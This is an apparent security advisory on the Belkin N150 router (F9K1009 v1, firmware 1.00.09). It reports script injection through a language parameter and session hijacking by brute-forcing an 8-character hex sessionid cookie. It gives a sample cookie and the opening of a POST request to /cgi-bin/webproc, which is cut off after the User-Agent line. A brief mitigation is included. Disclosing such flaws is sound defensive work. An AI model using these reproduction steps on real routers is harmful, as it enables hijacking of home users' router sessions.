Belkin N150 Wireless Home Router Multiple Vulnerabilities

The Belkin N150 Wireless Home Router is vulnerable to HTML/Script Injection and Session Hijacking. The parameter 'InternetGatewayDevice.DeviceInfo.X_TWSZ-COM_Language' is vulnerable to HTML/Script Injection, and the sessionid cookie is vulnerable to Session Hijacking. The sessionid is allocated using hex encoding and of fixed length i.e 8, and can be bruteforced using the range 00000000 to ffffffff.

Mitigation:

Ensure that user input is properly sanitized and validated, and that sessionid cookies are not easily guessable.

• Vulnerability Title  :  Session Hijacking
• Version              :  F9K1009 v1
• Firmware             :  1.00.09

→ Proof of Concept:

Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT

sessionid is allocated using hex encoding and of fixed length i.e 8 .
Therefore, it is very easy to bruteforce it in feasible amount for time as
this session id ranges from 00000000 to ffffffff

→ Steps to Reproduce:

Send the following request using Burpsuite and Bruteforce the sessionid.

POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101
